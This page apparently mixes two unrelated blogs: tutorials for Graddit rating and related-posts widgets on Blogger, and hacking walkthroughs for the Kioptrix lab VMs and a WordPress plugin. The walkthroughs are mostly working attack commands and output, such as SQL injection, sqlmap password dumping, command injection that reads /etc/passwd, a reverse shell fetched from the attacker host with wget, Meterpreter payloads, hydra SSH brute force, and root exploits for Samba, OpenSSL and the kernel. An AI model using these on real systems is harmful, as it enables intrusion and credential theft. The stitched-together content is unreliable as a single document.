Hacking Blogger Dynamic Views to support custom widgets

Blogger Dynamic Views are cool, but they support only few official widgets. Today we're hacking dynamic views to support any custom widgets (using Graddit widget as an example, of course).

Disclaimer. This is dirty hacking, it can stop working at any time and can even negatively affect behaviour of your blog. You were warned.

So, the goal is to make widgets appear when user expands a post in any view (Classic, Flipcard, Magazine, Mosaic, Sidebar, Snapshot and Timeline).

First, open Blogger dashboard and go to Template tab; click Edit HTML and then Proceed button.
For dynamic views we can't change a part of the template that displays posts - it will not work. But we still can change head section. Add the following lines to <head>...</head>:

<link href='http://static.graddit.com/css/graddit.css' rel='stylesheet' type='text/css'/>
<script src='http://static.graddit.com/js/graddit-extras.js' type='text/javascript'/>

These are styles and some cool scripts. Actually, we will need only one function called gradditBloggerDynamicViewsRatingsHack. Now go to the very bottom of the template and add this call just before closing </body> tag:

<script type='text/javascript'>setTimeout(function(){gradditBloggerDynamicViewsRatingsHack();},1000);</script>

Or this if you want also to display related posts (You Might Like widget):

<script type='text/javascript'>setTimeout(function(){gradditBloggerDynamicViewsRatingsHack(true);},1000);</script>

Now save template and close editor. Click Customize button to add some styles (without them stars will not show properly). Select Advanced and then click Add CSS. Add this:

.article .article-content .ffbs_rate img {
padding: 0;
border: 0;
border-image: none;
-webkit-border-image: none;
vertical-align: middle;
}

.article .article-content .ffbs_stats {
font-size: 10px;
}

.article .article-content a {
border: 0;
}

Click Apply to Blog.

Now it should be working, open your blog and try! Here's live demo: http://ffbs-widgets.blogspot.com/.
Did it work for you?

Graddit polls widgets

Graddit presents new widgets for polls that you can build into your blogs and sites. Here's a simple poll example:

{[['Bad','  |  '],['Average','  |  '],['Awesome']]}

Number of options and text can be changed. Take code from graddit page, options are set like this:

{[['Bad','&nbsp;&nbsp;|&nbsp;&nbsp;'],['Average','&nbsp;&nbsp;|&nbsp;&nbsp;'],['Awesome']]}, where '&nbsp;&nbsp;|&nbsp;&nbsp;' are the separators between options; number of options should match the number that is passed to the script as a parameter (3 in this example).

I can be not just text, but any HTML valid element. For example, images:

Who rocks?
{[['','    '], ['','    '], ['']]}


And of course general polls. How do you like the new widgets?
{[['So so'],['Okay'],['Perfect']]}

Graddit ratings statistics

There's a new tab in admin panel called "Statistics" that allows you to see detailed data about ratings, views, votes and feedbacks numbers. Also you could get some interesting details such as Google Pagerank, Alexa Rank, Facebook and Twitter mentions (later this will be extended). Here's the tab screenshot:

It's sortable. To get information about a page click corresponding ⟳ link. Leave your suggestions here in comments.

Kioptrix Level 2

Hi everyone, in this post I will explain how to get root on Kioptrix LEVEL 2.
Lets start with the basics, nmap!


Starting Nmap 6.01 ( http://nmap.org ) at 2012-08-13 10:30 BST
Nmap scan report for 172.16.1.189
Host is up (0.021s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE              VERSION
22/tcp   open  ssh                  OpenSSH 3.9p1 (protocol 1.99)
80/tcp   open  http                 Apache httpd 2.0.52 ((CentOS))
111/tcp  open  rpcbind (rpcbind V2) 2 (rpc #100000)
443/tcp  open  ssl/http             Apache httpd 2.0.52 ((CentOS))
631/tcp  open  ipp                  CUPS 1.1
3306/tcp open  mysql                MySQL (unauthorized)
MAC Address: 00:50:56:AF:62:3F (VMware)
Ok , so for this one ,lets try to access apache on that ip address Open your browser and and type the ip address of your kioptrix, in my case is http://172.16.1.189 As you can see there is a login webpage , we don't know the user/password, but  we can guess, OR try to do a sql injection, in my case, I am doing the sql  injection, so on the username field, type : admin  , and on the password field
type : ' OR 1=1 -- -
If you want to dig a bit more on the sql injection side of things, we can use sqlmap to fetch some information from the database. Here are some examples:
1) Available databases :
./sqlmap.py -u "http://172.16.1.189" --data "uname=admin&psw=xx' or OR 1=1 -- -" --dbs
Result:
available databases [2]:
[*] `test\_%`
[*] test
2) Identify the current database
./sqlmap.py -u "http://172.16.1.189" --data "uname=admin&psw=xx' or OR 1=1 -- -" --current-db
Result :
current database:    'webapp'
3) Find all mysql users passwords
./sqlmap.py -u "http://172.16.1.189" --data "uname=admin&psw=xx' or OR 1=1 -- -" --passwords
Result :
[*] john [1]:
    password hash: 5a6914ba69e02807
[*] root [1]:
    password hash: 5a6914ba69e02807
And so on. You can also have a sql shell on the server if you want.
./sqlmap.py -u "http://172.16.1.189" --data "uname=admin&psw=xx' or OR 1=1 -- -" --sql-shell
>select * from users; [2]:
[*] 1, 5afac8d85f, admin
[*] 2, 66lajGGbla, john

Now, coming back to the browser you can see a new web page saying that you can  ping a machine on the network, that means we can execute commands and if not properly configured, we can run more than just "ping". Lets try ping first, then we can try something else. If you typed your ip address on that box, you will be forwarded to http://172.16.1.189/pingit.php That's the one we need to look now. So, instead just ping, lest try to add something else to the command like "; cat /etc/passwd" and see what happens.As you can see, we can read the /etc/passwd, that means we have a webshell to
the server and now  we can execute anything ( almost ;) )  , so lets upload our backdoor to the server.
We can do this in many ways, I will me explaining the 2 methods:
1) Upload a reverse shell ( the easyest way)
172.16.1.1 ;  wget -O /tmp/reverse_shell
http://172.16.1.79/exploits/reverse_shell2
2) Change permission to execute.
172.16.1.1 ; chmod 777 /tmp/reverse_shell
3) Prepare your BT server for the connection
nc -l -p 10000
4)And now run the reverse_shell
172.16.1.1 ; /tmp/reverse_shell
Done, now we have shell, we can try the same using backtrack.
1) We need to start apache :  /etc/init.d/apache2 start
2) We need to create our backdoor:
LHOST : IP of your backtrack
LPORT : Port that backtrack will be listening to
/var/www/backdoor.php.txt : That's where it will save your backdoor.
So the complete command is :
msfpayload php/meterpreter/reverse_tcp LHOST=172.16.1.79 LPORT=8080 R >
/var/www/backdoor.php.txt

Now, we need to start our session handler.

msfconsole
use multi/handler
search php
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 8080
exploit -j -z
Leave this one running and open open another shell on your backtrack.
We need to edit our backdoor.php.txt ( script kid stuff)
vi /var/www/backdoor.php.txt. Remove "#" from the first line and save it.

Next step is to insert this in our ping command line .
172.16.1.1 ; cd /tmp ; wget -O backdoor.php 172.16.1.79/backdoor.php.txt ; php
-f backdoor.php
If you look into that other shell, you should be reading this by now :
[*] Sending stage (39217 bytes) to 172.16.1.189
[*] Meterpreter session 4 opened (172.16.1.79:8080 -> 172.16.1.189:32807) at
2012-08-13 14:12:00 +0100
meterpreter >
Great, now that we have access to the box, we need to get root.
uname -a
Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686
i386 GNU/Linux

Now we need to find an exploit for that kernel . If you google it, you will end up on securityfocus or other similar. You can download the exploit from securityfocus or from exploit-db or use the  one that is inside backtrack.
http://www.exploit-db.com/exploits/9542/
http://www.securityfocus.com/bid/36108/info

Or ... you can search inside backtrack.
/pentest/exploits/exploitdb/searchsploit  kernel linux local
And that's the one you are looking for
Linux Kernel 2.x sock_sendpage() Local Ring0 Root Exploit           /linux/local/9435.txt
Again, you can try other exploits as well. Now that you have the exploit, compile it and run it on the target machine.
wget http://172.16.1.79/exploits/ip_append_data.c
gcc -o get_root ip_append_data.c
./get_root
sh: no job control in this shell
sh-3.00# id
uid=0(root) gid=0(root) groups=48(apache)

And that's it, game over.

Kioptrix Hacking challenge LEVEL 1 part 3 (SSH)


Hi folks, ok, another option that we have to break into kioptix level 1, is bruteforce ssh, its quite simple, but takes a LOT of time if you are unlucky. Here is how you can crack down via bruteforce.
In your backtrack type:
cd /pentest/passwords/wordlists/
hydra -l root -P rockyou.txt -t 3 -o login.pwd 172.16.1.144 ssh
Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2012-08-08 13:33:19
[DATA] 3 tasks, 1 server, 14344398 login tries (l:1/p:14344398), ~4781466 tries per task
[DATA] attacking service ssh on port 22
[22][ssh] host: 172.16.1.144   login: root   password: 123456
[STATUS] attack finished for 172.16.1.144 (waiting for children to finish)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2012-08-08 13:33:36


As you can see, it found the pasword 123456 for the user root.

PS : I changed the root password to 123456 for this demonstration only.


Kioptrix Hacking challenge LEVEL 1 part 2 (SAMBA)


Kioptrix Hacking challenge LEVEL 1 part 2 (SAMBA)
Hi everyone, this is the second part of the level 1, now we are going to exploit samba. As you remember from the last video, we managed to get root using an SSL exploit for apache, now its time to exploit a samba vulnerabilities. So, lets start.
First, lets run an nmap
nmap -sV 172.16.1.144
Starting Nmap 6.01 ( http://nmap.org ) at 2012-08-07 11:12 BST
Nmap scan report for 172.16.1.144
Host is up (0.00068s latency).
PORT    STATE SERVICE     VERSION
139/tcp open  netbios-ssn Samba smbd (workgroup: MYGROUP)
MAC Address: 00:50:56:AF:5A:B9 (VMware)
Ok, this output doesn't tell the version of samba, but we can try two commands
to list the version :
1) smbclient -L 172.16.1.144
Result :
Enter root's password:
Anonymous login successful
Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]
 Sharename       Type      Comment
 ---------       ----      -------
cli_rpc_pipe_open_noauth: rpc_pipe_bind for pipe \srvsvc failed with error
ERRnosupport
 IPC$            IPC       IPC Service (Samba Server)
 ADMIN$          Disk      IPC Service (Samba Server)
Anonymous login successful
Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]

2) smbclient //172.16.1.144/IPC$
Result:
Enter root's password:
Anonymous login successful
Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]
tree connect failed: ERRnosuchshare
Ok, now we know its running version 2.2.1a, lets try to find an exploit for
it. If you google for "samba 2.2.1a" exploit
You will find this exploit
http://downloads.securityfocus.com/vulnerabilities/exploits/0x333hate.c
So.. lets go back to our backtrack , download and compile it.
wget http://downloads.securityfocus.com/vulnerabilities/exploits/0x333hate.c
gcc -o exploit 0x333hate.c
./exploit  -t 172.16.1.144
Result :
[~] 0x333hate => samba 2.2.x remote root exploit [~]
 [~]        coded by c0wboy ~ www.0x333.org       [~]
 [-] connecting to 172.16.1.144:139
 [-] stating bruteforce
 [-] testing 0xbfffffff
 [-] testing 0xbffffdff
 [-] testing 0xbffffbff
 [-] testing 0xbffff9ff
 [-] testing 0xbffff7ff
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)


There is another way to exploit this samba using metasploit. Lets try that.
msfconsole
search samba
use linux/samba/trans2open
show options
set RHOST 172.16.1.144
show payloads
set PAYLOAD linux/x86/shell/bind_tcp
show options
exploit
[*] Started bind handler
[*] Trying return address 0xbffffdfc...
[*] Trying return address 0xbffffcfc...
[*] Trying return address 0xbffffbfc...
[*] Trying return address 0xbffffafc...
[*] Sending stage (36 bytes) to 172.16.1.144
[*] Trying return address 0xbffff9fc...
[*] Command shell session 1 opened (172.16.1.79:52832 -> 172.16.1.144:4444) at
2012-08-07 11:51:46 +0100
id
uid=0(root) gid=0(root) groups=99(nobody)


Success!! We got again on the box.

Kioptrix Hacking challenge LEVEL 1 part 1 (APACHE)



Kioptrix Hacking challenge LEVEL 1 part 1 (APACHE)
Hi everyone, in this post I will be demonstrating how to hack Kioptrix Level 1 .But what is kioptrix? Its a linux distro with lots of vulnerabilities, so we can play and test our knowledgement. To download, go to : http://www.kioptrix.com/blog/?page_id=135  , and use vmware player to open the files and you are ready to go.So, now that's everything up and running, we need to discover the IP address of the target machine because it gets via DHCP from your network ( by the way, you need a DHCP server in order for this to work). To find out what's the IP address , lets run an nmap on our network that will look for live hosts.

# nmap -sn 172.16.1.0/24
Nmap scan report for 172.16.1.144
Host is up (0.0010s latency).
MAC Address: 00:50:56:AF:5A:B9 (VMware)

Great, now that we found it the IP address, lets see what's running in the host.

#nmap -sV 172.16.1.144


Starting Nmap 6.01 ( http://nmap.org ) at 2012-08-03 16:47 BST
Nmap scan report for 172.16.1.144
Host is up (0.033s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE              VERSION
22/tcp   open  ssh                  OpenSSH 2.9p2 (protocol 1.99)
80/tcp   open  http                 Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp  open  rpcbind (rpcbind V2) 2 (rpc #100000)
139/tcp  open  netbios-ssn          Samba smbd (workgroup: MYGROUP)
443/tcp  open  ssl/http             Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
1024/tcp open  status (status V1)   1 (rpc #100024)
MAC Address: 00:50:56:AF:5A:B9 (VMware)


Ok, at this point there is a lot to do. We need to find if the running version of each open port has an exploit for the version.To get the proper version and vulnerability ID, lets use nikto to scan the host. I am not going to explain all vulnerabilities of the distro, I think two is good enough, you guys can try for your self's other ways to break into. So I am going to show how to break in using apache and samba.
1) cd /pentest/web/nikto/
2) ./nikto.pl -host 172.16.1.144
3) The results (The intersting bits) :
+ Server: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
+ OSVDB-4552: Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. CAN-2002-0839.
+ OSVDB-2733: Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. CAN-2003-0542.
+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell (difficult to exploit). CVE-2002-0082, OSVDB-756.


Right, now we need to google it for the CVEs or you can search for the exploit on backtrack itself.
Run:
/pentest/exploits/exploitdb/searchsploit  apache linux remote
Webfroot Shoutbox < 2.32 (Apache) Remote Exploit  /linux/remote/34.pl
Apache <= 2.0.45 APR Remote Exploit -Apache-Knacker.pl   /linux/remote/38.pl
Apache mod_gzip (with debug_mode) <= 1.2.26.1a Remote Exploit    /linux/remote/126.c
Apache 1.3.*-2.0.48 mod_userdir Remote Users Disclosure Exploit     /linux/remote/132.c
Apache OpenSSL Remote Exploit (Multiple Targets) (OpenFuckV2.c)/linux/remote/764.c
Apache Tomcat Connector (mod_jk) Remote  Exploit (exec-shield)     /linux/remote/4162.c
Apache Tomcat (webdav) Remote File Disclosure Exploit (ssl support)     /linux/remote/4552.pl
Apache Tomcat Connector jk2-2.0.2 (mod_jk2) Remote Overflow Exploit /linux/remote/5386.txt


As you can see, there is one for OpenSSL (764.c) OpenFuck.
Now, because this is really old, you need to change the exploit a bit in order to make it work.
1) Add: #include <openssl rc4.h>
2) Add: #include <openssl md5.h>
3) Search inside the exploit for "wget" and change the url for the correct one because that is not valid anymore. If you google it for ptrace-kmod.c , you will find that the correct address is :
http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
So, just change that on the exploit, save it .
Now we need to compile it, but before that, we need install the ssl-dev libraries.
Run :
apt-get install libssl-dev
cd /pentest/exploits/exploitdb/platforms/linux/remote
gcc -o OpenFuck 764.c -lcrypto
Run the exploit now
./OpenFuck
Look for the target, we know that its running apache on a redhat, and that is running 1.3.20 so lets filter that:
./OpenFuck  | grep -i redhat | grep "1.3.20"
That limits the results to only two
0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2
So we can try first the target as 0x6a and if that doesn't work, we can try 0x6b.
./OpenFuck 0x6a 172.16.1.144 443
Result :
Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80fc3f0
Ready to send shellcode
Spawning shell...
Good Bye!

As you can see, that did not worked.
Lets try the other one now.
./OpenFuck 0x6b 172.16.1.144 443
Result:
Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80f83c0
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; ttp://172.16.1.79/ptrace-kmod.c; gcc -
--09:18:29--  http://172.16.1.79/ptrace-kmod.c          => `ptrace-kmod.c'
Connecting to 172.16.1.79:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 3,921 [text/x-csrc]    0K ...                   100% @   3.74 MB/s
09:18:29 (3.74 MB/s) - `ptrace-kmod.c' saved [3921/3921]
[+] Attached to 17426
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)


Success !! We got root on the box.
In the next video I will demonstrate how to hack using samba.

Styling best posts and related posts widgets

Play a bit with the styles of top posts or related posts in the administer interface and you could get cool looking widgets like this:

Cool looking widget styles and settings:

Image style:
Title style:
li style:
Container style:
Cut text after 20 characters and then "cut to word";

Managing widgets behavior with the callback functions

    By default widgets are displayed on the pages at the place where you set them initially. How to make widget to be shown only when a user riches bottom of the page and be hidden when user scrolls up? To make a solution easier widgets support callback parameter. Using this parameter you can pass control to your function after widget call has completed. More than that, file http://www.graddit.com/js/graddit-extras.js already contains working callback function. Let's see how it works using top posts widget as an example.

Here's the widget call code (it's being called right from this place):
<div id='callback_example' style='visibility: hidden; display: none; position: fixed; right: 10px; bottom: 10px;'>Read our best!</div><script type="text/javascript" src="http://www.graddit.com/showtop/eng/4?id=callback_example&callback=gradditDisplayWidgetCallback"></script>

The call is here, but you can't see the widget; it's behavior has been changed by gradditDisplayWidgetCallback function. From now on it will be displayed on the right bottom corner of the page when you scroll it all the way down. And disappear when you scroll back up.

    If you'd like to use javascript function from the example above you'll need to include the js file in your template:

<script type="text/javascript" src="http://www.graddit.com/js/graddit-extras.js"></script>

    That's it! Remeber: you need to include graddit-extras.js and set callback function in the widget call code. From time to time I'll be adding some useful functions into graddit-extras.js (check for updates).

    Reminder: widgets layout can be easily changed from the admin panel.

How to translate Graddit rating widget to any language

Graddit rating widget supports two languages: english and russian. That is defined by sending "eng" or "rus" parameter to server (read more). Of course, it doesn't look very good when your website is on any different language. Let's see how we can solve this issue using the most popular widget (yellow stars) code as an example. Here's the initial code:

<b:if cond='data:blog.pageType != &quot;static_page&quot;'>
  <div expr:id='"labels_" + data:post.id' style='display: none; visibility: hidden;'>
    <b:if cond='data:post.labels'>
      <b:loop values='data:post.labels' var='label'><data:label.name/>,</b:loop>
    </b:if>
  </div> Rate this posting: 
  <div expr:id='data:post.id' style='padding-left: 3px; padding-right: 3px; display: inline; visibility: hidden;'>{[[&#39;&lt;img src=&quot;http://img.graddit.com/img/star.png&quot;/&gt;&#39;]]}</div>
  <script expr:src='&quot;http://graddit.com/rate/eng/5/&quot; + data:post.id + &quot;?stats=&quot; + data:post.id + &quot;&amp;info=info-&quot; + data:post.id + &quot;&amp;info_delay=2&amp;class_star=ffbs_star_img&amp;class_star_set=ffbs_star_img_set&amp;class_star_vote=ffbs_star_img_vote&amp;views=yes&amp;id=&quot; + data:post.id + &quot;&amp;url=&quot; + data:post.url + &quot;&amp;labels=labels_&quot; + data:post.id + &quot;&quot;' type='text/javascript'/>
</b:if>

Bold text is the div element we are going to change. In addition to what you see there now it can contain the following data attributes:
  • data-label-votes - text for "votes";
  • data-label-views - text for "views";
  • data-label-rating - text for "rating"'
  • data-label-info-rating - text for ratings in popup with detailed votes information.
Check this example to understand it better. The following code (with average=yes parameter added to display rating number):

<b:if cond='data:blog.pageType != &quot;static_page&quot;'>
  <div expr:id='"labels_" + data:post.id' style='display: none; visibility: hidden;'>
    <b:if cond='data:post.labels'>
      <b:loop values='data:post.labels' var='label'><data:label.name/>,</b:loop>
    </b:if>
  </div> Rate this posting: 
  <div data-label-votes='voted: ' data-label-views='viewed: ' data-label-rating='rated at: ' data-label-info-rating='Details' expr:id='data:post.id' style='padding-left: 3px; padding-right: 3px; display: inline; visibility: hidden;'>{[[&#39;&lt;img src=&quot;http://img.graddit.com/img/star.png&quot;/&gt;&#39;]]}</div>
  <script expr:src='&quot;http://graddit.com/rate/eng/5/&quot; + data:post.id + &quot;?stats=&quot; + data:post.id + &quot;&amp;info=info-&quot; + data:post.id + &quot;&amp;info_delay=2&amp;class_star=ffbs_star_img&amp;class_star_set=ffbs_star_img_set&amp;class_star_vote=ffbs_star_img_vote&amp;views=yes&amp;average=yes&amp;id=&quot; + data:post.id + &quot;&amp;url=&quot; + data:post.url + &quot;&amp;labels=labels_&quot; + data:post.id + &quot;&quot;' type='text/javascript'/>
</b:if>

Will display rating with custom labels:

{[['']]}


See how it differs from the default one below.

Related posts widget update

Related posts widget has become much better. What's new:

  • styles to control the layout;
  • thumbnails;
  • automatic recommendations (based on labels);
  • improver user interface (see below).

Interface

If you haven't got access to the management panel yet, do now.
Recommendations tab now has settings:


You can:
  • specify what widget should do in case no related posts were set for a page:
    • pick automatically (based on labels);
    • show nothing;
    • show static HTML. Nothing stops you from adding javascript though;
  • show thumbnails (you should set feed URL);
  • set number of links to be displayed. If number of related (or automatically found) pages exceeds that number, then specified number of randomly picked links will be shown;
  • set max length of displayed titles (or links if it's set to not show the titles);
  • change widget layout;

Manual related posts creation interface has also changed and became more efficient:

← link still creates recommendation containers and ✓ still creates relations, but now when you select a container on the right panel links get highlighted:
  • darkgray — main page (container URL);
  • lightgray — related posts (recommendations);
  • lightgreen — automatically found related pages that you might want to use;

Widget code (for Blogger) you need to take from the same page , see above the recommendations list.

Possible issues

  1. Not all the pages present on the right panel. That could happen if users from different countries read your blog, in this case pages can be saved into the database with their local domains: your-blog.blogspot.com.nl or your-blog.blogspot.co.uk. To resolve this issue you need to send domain parameter in the widget code. For example (for Blogger):

    <script expr:src='"http://graddit.com/rate/eng/...url=&quot; + data:post.url + &quot;&amp;domain=your-blog.blogspot.com&amp;labels=...</script>

    and wait a bit until database gets refreshed data.
  2. No labels are shown. You need to update widget code, just take it from the main page. Again, you need to wait a bit before changes will be reflected.


WordPress 1 Flash Gallery Plugin Arbitrary File Upload Vulnerability




WordPress 1 Flash Gallery Plugin Arbitrary File Upload Vulnerability
Secunia Advisory SA45930
Release Date 2011-09-08
The vulnerability is caused due to the wp-content/plugins/1-flash-gallery/upload.php script (when "action" is set to "uploadify" and "fileext" is set to e.g. "php") improperly verifying uploaded files. This can be exploited to execute arbitrary PHP code by uploading a PHP file. The vulnerability is confirmed in version 1.5.6. Prior versions may also be affected.

Download the exploit from http://www.exploit-db.com/exploits/17801/
Copy to /pentest/exploits/framework3/modules/exploits/multi/http

Fix the payload /pentest/exploits/framework3/modules/payloads/singles/php/reverse_php.rb as I explained on my video.

msfconsole
use multi/http/flash_galery_wordpress
set RHOST 172.16.1.70
set URI /wordpress
set PAYLOAD php/reverse_php_airwolf
set LHOST 172.16.1.79
exploit

And that's it, thank you guys for watching it.

Best posts widget (with thumbnails)

Graddit tops widget can now show thumbnails. Like this:



Or like this:



To control this widget there're few new paramters on the tops management panel:


Feed URL — your RSS feed URL, (in json-in-script format). This field will be populated automatically when you create a new top.
Default image — picture to be shown if no pictures found.
Image style, li style and Container style — style of the corresponding html elements, allow you to change the layout of the widget. For your convenience there're 2 presets: for vertical display and for horizontal display.

Enjoy. Feel free to comment and ask questions.

Graddit rating widget code update

If you're using Graddit rating widget in Blogger you need to update your widget code; just take new code from Graddit main page. The changes are not critical, but add labels support (for future automatic recommendations) and solve issue with incomplete URLs in admin panel.

Ratings from Graddit: related posts and tops

Today's topics: what are and how to setup and display the recommendations (related posts) and tops widgets.

In order to be able to use widgets described below you need to get access to the account management panel. Open the link, click on "Generate secret key" and follow the instruction. After you login to the management panel you'll see 3 tabs: Settings, Recommendations and Tops.


Settings

Let's leave this page for now, it is created for the future purposes. All what you can do there now is change the secret key and allow/forbid token generation. If generation is forbidden you couldn't reset the secret key with a token. You might need to reset secret key if you lost it; restoration of a secret key via email isn't yet implemented.



Recommendations


Please check out the possible issues below before reporting any problems with this page.
Here you can create the lists of related (recommended) materials for each page on your website where you have rating widget installed. At the left hand side of the page you'll find the relations you've already created; at the right hand side - pages you can create relations for. For example, if you want to create relations for the page with URL http://fruitfulbookmarks-en.blogspot.com/2012/04/how-to-duplicate-rating-information.html, you need to click "←" link near that URL; that creates a container. Then by pressing "✓" you could add the related URLs into the container. Click on the image above to see a bigger image, that will help to understand the process better. When you add the links their titles will be loaded automatically. You can change them though. You can change the links as well, but you'll have to set the titles manually in this case. Save the recommendations. There are 2 ways to display the widget:
  1. copy the code (for now there's only code for Blogger) and paste it into the desired place of your blog's template. In this case for all the pages of your blog the related posts will be displaying automatically (of course if you created them first).
  2. if you wish to display a particular list of recommended materials then click the "Preview" link and copy the given code into the desired place of your page (or post). In this case (if you haven't forgotten include styles http://graddit.com/css/graddit.css) when viewing the page you'll see something like this:
    With some code added:
    <div id='graddit_recommendation' style='display: inline; visibility: hidden;'><div style='background-image: url(http://img.graddit.com/favicon.ico); display: inline-block; width: 16px; height: 16px;'></div> You can change this title</div><script src='http://graddit.com/rec/eng/6527129645013929210?id=graddit_recommendation'></script>
    you can get something like this (with changed title):
Possible issues.
  • Resolved; update widget code. At the right hand side you can't see the pages' URLs, mostly the URLs of the main page. That can happen if you have rating widget shown at the main page (not under cut only), in this case when people vote ratings get assigned with the main page URL. This will be fixed soon. Nevertheless, if you could figure out real addresses of the displayed ratings, the related posts will be shown at the proper pages. If you don't want to get too deep into the mechanism of the ratings just wait for the fix.
  • For now you can't create recommendations not related to a page with the rating widget installed. This will be fixed soon.
  • Manually create recommendations is too hard and boring. Is there a way to make it in automatic mode? Yep, it's boring, but it gives you much more control over the process and you can add materials more relevant to the shown pages. I'm planning to implement some automation though. You will be able to display related URLs for the pages without manually created recommendations; the options will be: show random links for the given set, display another widget using callback function, automatic links based on labels (tags).


Update. Related posts widget has become better; read more.

Tops

Tops are a bit easier to control. Top is a lists of pages that got more votes, rating or views:

You can set:
  1. number of displayed links;
  2. maximum top refresh time (in minutes, not less than 60 and not more than 1440 - these limits will be changed after I'll get some stats data);
  3. sort criteria (number of votes/number of views/average rating);
  4. options:
    • only for the last preiod - if ticked, top will be formed based on short period of time information; if not ticked, the current values of views/votes/rating will be taken as a base;
    • less rated records first - sort order;
    • exclude main page - links to the main page will not be displayed in the top widget;
    • load titles - load pages titles when displayed in tops. Loading will not happen every time top is displayed; data will be cached for the period of 12 hours (maximum);
    • drop URL parameters - recommended to be set; this will help you to get rid of the links to the same pages having different parameters in the URLs (for example, ?showComment=...). Of course if these parameters are not important for your site;
    • show ratings near to links - show sort criteria values. I recommend to have it turned on before you actually expose top to the users and turn it off then; users don't need to see this and might get confused;
  5. inline styles - try various parameters to change the layout of your top widget;
  6. "cut text after" - maximum number of characters in the displayed URL (or titles); 0 - do not cut.
Playing with online styles can help you get something like this:


That's all folks. Ask questions, criticize, tell me how would like to change these widgets. Found a mistake? Use the misspellings tracking widget at the top right corner of the page. Stay tuned.

How to duplicate rating information using javascript

As a response to the question from the previous post I'm going to explain how to duplicate rating information using JS callback function (in Blogger). So, what we want to do:
- show ratings below the posts (as usually);
- duplicate rating information and show it above the posts (without ability to vote).

Steps:

0. Make a backup copy of the template;

1. Open template editor (don't forget to select "Expand Widget Templates" checkbox);

2. Find ratings widget call and add parameter "callback=previewRating", something like this:
...class_star_vote=ffbs_star_aimg_vote&amp;callback=previewRating&amp;views=yes&amp;average=yes...

3. At the desired place of the template write a div that will hold ratings duplicated information:
<div expr:id='&quot;graddit_preview_rating_&quot; + data:post.id'>Rating: </div>
for example, you can place it just before post body (before <data:post.body/>)

4. Somewhere (preferably on top) in your template write callback function, like this one:
<script language='javascript'>
function previewRating(key, id, stats, average, amount, votes, data, views) {
var div = document.getElementById("graddit_preview_rating_" + id);
if (div != null) {
var avg = Math.round(average);
var tmp = div.innerHTML;
for (var i = 0; i &lt; avg; i++) {
tmp += "<span class='ffbs_star_set'>&amp;#9733;</span>";
}
for (var i = avg; i &lt; amount; i++) {
tmp += "<span class='ffbs_star'>&amp;#9734;</span>";
}
div.innerHTML = tmp;
}
}
</script>

5. Save the template. You're done, ratings should be now showing right after title (before post body) of each post.

As you see, callback function is a powerful tool that gives you unlimited control over your ratings.

Reminder: the code above should be used with blogger templates only, it will not work with a different template system; you should adapt it to the templater or for pure HTML just remove redundant special characters. Let me know if you faced any problems with that.

About posts in this blog

Hi Everyone, I am writing this post to help you guys help me .
I have posted stuff from LFI,RFI,Sql injection, exploits, how to write exploits, how to use some tools, so, I am not sure what else can I post. Should I post more exploits of RFI, LFI, sql injection and etc ?
The way to exploit is "always" the same, the only thing that changes is the software to be exploited. What do you guys think ? Should I repeat posts for the same thing(LFI,RFI,etc) on different products?

Rating widgets for websites, blogs and comments

    Graddit presents rating widgets for your websites, blogs and comments. There's a number of predefined widgets on this page you can choose from.

   Copy and paste generic widget code and corresponding styles into you pages. There's also code prepared for use for Blogger and Blogger comments:


Instrunctions for Blogger you could find below, but first here's explanation of some of the parameters.

Important parameters

<div id='rate' class='rate'>{[["&#9734;","&#9733;"]]}</div>


This div element contains information about the symbols used to display rating: "&#9734;" is empty star, "&#9733;" – filled star; It can also contain any valid HTML element, like images or spans. id of the div is important, as it's passed to the server (see below).



<div id='stats'></div>



This div element will contain text with the number of votes, views and average rating. Its id is also passed to the server, but you can omit the whole div, in this case the previous div (rate) will be used instead.



<script type='text/javascript' src='http://www.graddit.com/rate/ eng/ 5/mjov07w?id=rate&stats=stats'></script>
don't change it language number of stars unique rating ID id of an element where rating will appear id of an element where number of votes will be shown


    You can also pass the following parameters:
  1. ...&top=no — this prevents rating from appearing in statistics;
  2. ...&callback=my_function_name

    If this parameters is passed, after rating is loaded your function with name "my_function_name" will be called with the following parameters:

    "key"rating id
    "id"id of the div with rating widget loaded
    "stats"id of the div with text (number of votes)
    "average"average rating
    "amount"number of stars
    "votes"number of votes
    "data"raw votes data

    This gives you the full control over the rating widget.

    How to add rating widgets on your blog
  1. Select a widget and copy code from a Blogger tab.
